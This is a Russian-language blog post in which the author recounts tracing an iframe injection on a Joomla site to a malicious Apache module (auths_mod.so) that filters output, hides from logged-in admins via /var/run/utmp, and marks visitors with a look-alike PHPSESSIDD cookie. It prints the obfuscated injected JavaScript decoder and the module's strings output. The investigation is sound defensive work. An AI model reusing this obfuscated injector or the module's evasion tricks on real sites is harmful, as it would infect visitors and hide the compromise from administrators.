Мой друг (
_mast3r-) попросил помочь удалить на сайте iframe, который загружал какой-то вредоносный код.
Как он утверждал, Google Chrome ругался на iframe в коде, в то время как при grep-е по коду он никакого iframe-а не находил. Выяснилось, что в конце страницы есть строчка:
Которая загружает и выполняет следующий код:
function OI0II0OlOOIOl0O1 () { var O111I0lOOO100IO0='Cpawazan bea sb adramanbccodpax alalapc r dcd cbbaqasbea wa rc xc, u "d" bdb db cyddbcaqa sdcaz dadcapaq ama lddapax apdpdraiawbbalaxcodpdadpdraxbaawayax alcod pd adpd razanb eas babd aqanb bbaancodpdbd: pcn cp dcaw azanbeasbacn.'; return O111I0lOOO100IO0.toLowerCase(); }
function OIllI1l0lOOlI01I (IOl0IlI01l1OIlOl, IOI0lI1l0lIIllO0) { return IOl0IlI01l1OIlOl.charCodeAt(IOI0lI1l0lIIllO0); }
function OO101l1OlO0O1I1l (I0l0I1ll0OOl100l) { return String.fromCharCode(I0l0I1ll0OOl100l); }
function O1lI0010I1OlllI0 (lIOOIlO110100010) { document.write(lIOOIlO110100010); }
var O0II0O1l01l011lO = OI0II0OlOOIOl0O1(); var I10OI11lO10lOlOI = true;
var IIIIO1IlIOIII10l = 0; var O011OI10l1lO1O1I = ""; var ll1I10IlO1O0OI00 = 127; var I0I0010IOIl01l00 = -30 + ll1I10IlO1O0OI00;
var I1OIlIII0OIl1OI0 = -101 + ll1I10IlO1O0OI00; for(var llOlI0IIO1Oll10O=0;llOlI0IIO1Oll10O= 0 && OO100IO0O1II01OO<=(I1OIlIII0OIl1OI0-1))
{ if (I10OI11lO10lOlOI){ IIIIO1IlIOIII10l = OO100IO0O1II01OO * I1OIlIII0OIl1OI0; } else { IIIIO1IlIOIII10l += OO100IO0O1II01OO; O011OI10l1lO1O1I += OO101l1OlO0O1I1l(IIIIO1IlIOIII10l ^ ll1I10IlO1O0OI00);
IIIIO1IlIOIII10l = 0; } I10OI11lO10lOlOI = !I10OI11lO10lOlOI; } } O1lI0010I1OlllI0(O011OI10l1lO1O1I);
Этот код в результате выполнения приводит к появлению iframe-а на странице.
Как его удалить? Поиском по слову iframe, google.js, dreamonisland.com и прочим, что мне приходило в голову в исходниках сайта я ничего не нашел. Самое забавное, что если просмотреть код в браузере, то в конце страницы я таки видел код с подключением злобного скрипта.
Поэтому я решил, что этот код генерируется другим JS-кодом, т.е. документ изменялся на лету. К файлу подключалось порядка 5-6 внешний JS-ников плюс был код внутри самого файла. Я переместил все эти внешние файлы, чтобы они были недоступны для того чтобы определить в них ли содержится тот самый код, который правит документ. Это не помогло. Начал искать на самой странице -- не помогло. Я пробовал всякие Firebug-и, NoScript-ы и WebDeveloper-ы, чтобы найти тот злобный JS-код, но они мне никак не помогли.
На этом я остановился, так как сходу не вышло, а были другие дела. Кроме того случилось так, что это поведение у меня перестало воспроизводится, т.е. google.js перестал подгружаться.
Эта загадка не давала мне покоя и через где-то день я к ней вернулся. В этот раз google.js подгрузился, но потом код стал снова нормальным. Это навело меня на мысль про куки. Посмотрел какие куки ставил этот сайт -- их было 5. Удалил все. Перезагрузил страницу. Вылез google.js, перезагрузил -- код чист. Ага! Значит код запоминает эти самые куки и поэтому я его не мог отловить! Стал перебирать куки, удаляя по одной и нашел нужную -- PHPSESSIDD Обратите внимание, что она очень похожа на стандартную куку, которую ставит РНР, но в конце у неё две буковки D. Греп кода по этой переменной (естественно) ничего не дал.
Отдельно стоит упомянуть то как я понял, что виноват не JS-код, а зло приходит уже с сервера. Когда я скачивал файл telnet-ом или wget-ом, то ничего не находит и это ставило меня в тупик. Но когда я открыл страницу links-ом и посмотрел HTML-код, то понял, увидел, что злая строка там. Поэтому стало понятно, что это не дело рук JavaScript.
Я понял, что автор этого дела, отнёсся к делу очень ответственно, но я был настроен не менее решительно. Сайт был написан на Joomla и поэтому код был не сквозной, а мог генерироваться различными модулями. Мне пришлось внимательно осматривать его, начиная с index.php, попутно грепая на предмет разных ф-ций и где они используются. Версий было много: где-то злой модуль гадит, поправили какой-то модуль, чтобы он такую строчку добавлял, думал, что похакали кэш джумлы и модифицируют на лету, я грешил даже на локализацию :) К сожалению, я ещё потратил время на изучение JS-кода, потому что всё ещё был запутан -- например, я вручную просмотрел все 5 файлов, а шестой, с Mootools, который был обфусцирован я развернул обратно и тоже просмотрел (я думал, что круто спрятать плохой код среди обфусцированного).
Короче, внутрях джумлы я ничего не нашел. К счастью, в index.php кода было не так много -- там создавался класс, а в конце было echo JResponse::toString($mainframe->getCfg('gzip')); Т.е. это была единая точка вывода всего документа. Это было удобно. Я добавил код для поиска в этом коде злобной строки, и если находилась, то записывал в файл. Но её там не было! Тогда я стал выводить весь документ, который отправляется в браузер. Я очень удивился, когда то что отправляет скрипт было нормальным, а то что получает браузер было зараженным!
В этот момент я понял, что код не виноват и не заражен. (К слову, позже я это проверил создав простенькой документик с html-кодом и запросив его из браузера -- он был также заражен, жаль я раньше не додумался до такой проверки, но просто я думал, что всё проще.)
Тень подозрения сразу же упала на nginx. В процессах он был. Я просмотрел всего его конфиги, но там ничего интересного не нашел. Я стал сверяться точно ли работает тот самый экземпляр nginx, который системный, а не левый из /usr/local или /tmp -- всё было правильным.
Т.о. у меня появилась цепочка
скрипты -> apache -> nginx -> браузер
в которой мне было известно, что ни скрипты, ни браузер не виноваты. Мне нужно было отсечь ещё одно звено -- nginx. Апач слушал на 8080 порту, а nginx на 80. Я поставил тот же links на сервер и запросил страницу напрямую от Апача, с 8080 порта и.. получил зараженный документ!
Итак. Nginx обелён, а Апач под подозрением. И опять пришлось проверять, что запущен именно тот самый Апач, а не левый, просматривать все его конфиги на предмет странностей. Ничего. Потом я вспомнил, что РНР работает как модуль и полез смотреть все в /etc/php5 -- ничего.
Очень странно. В ходе осмотра load-файлов я видел подключение разных модулей и вот я полез в каталог с ними. Как можно было доказать, что они не виноваты? Я выполнил strings *.so | grep -i google в каталоге с ними и... удивился, когда вывод оказался не пустым!!
Вот он! Я наступил ему на хвост! Это модуль!!
# cat /etc/apache2/mods-enabled/php5.load
LoadModule php5_module /usr/lib/apache2/modules/libphp5.so
LoadModule auths_mod /usr/lib/apache2/modules/auths_mod.so
# strings /usr/lib/apache2/modules/auths_mod.so | grep google
# LANG=C ls -l /usr/lib/apache2/modules/auths_mod.so
-rw-r--r-- 1 root root 11937 Jun 15 2009 /usr/lib/apache2/modules/auths_mod.so
# md5sum /usr/lib/apache2/modules/auths_mod.so
16fc858b9cb98a1760ce7d389c741d46 /usr/lib/apache2/modules/auths_mod.so
Кстати, если интересно, то вот полный вывод strings:
# strings /usr/lib/apache2/modules/auths_mod.so
ZrmCE
__gmon_start__
_init
_fini
__cxa_finalize
_Jv_RegisterClasses
browser_need
ap_hook_insert_filter
ap_register_output_filter
frame_idle
time
isset
strstr
addscript_before
memcpy
addscript_after
ap_add_output_filter
admin_idle
strncpy
__xstat
isonlineAdmin
open
read
admins
strncmp
close
apr_table_get
strtok
apr_atoi64
ap_pass_brigade
__sprintf_chk
apr_table_setn
apr_brigade_create
apr_bucket_free
apr_bucket_alloc
apr_bucket_heap_create
apr_bucket_type_eos
apr_bucket_eos_create
apr_brigade_cleanup
auths_mod
libc.so.6
_edata
__bss_start
_end
auths_mod.so
GLIBC_2.1.3
GLIBC_2.3.4
GLIBC_2.0
+D$ =
UWVS
[^_]
UWVS
[^_]
/devf
[^_]
[^_]
UWVS
[^_]
[^_]
UWVS
[^_]
[^_]
[^_]
T$89
|$41
D$ 1
t$89
/var/run/utmp
PHPSESSIDD
text/html
Set-Cookie
Fri, 21 Sep 2088 21:09:88 GMT
Last-Modified
root
raat
lala
auths_mod.c
PHPSESSIDD=%d;expires=Fri,31-Dec-2020 23:59:59 GMT; path=/;
PHPSESSIDD=%ld;expires=Fri,31-Dec-2020 23:59:59 GMT; path=/;
22PA
Самое интересное, тут это упоминание /var/run/utmp, а также isonlineAdmin Что за raat и lala, я не в курсе. Не удивлюсь, если это вторые пароли для рута :)
Собственно, вот. «Имеющий уши да услышит» (с)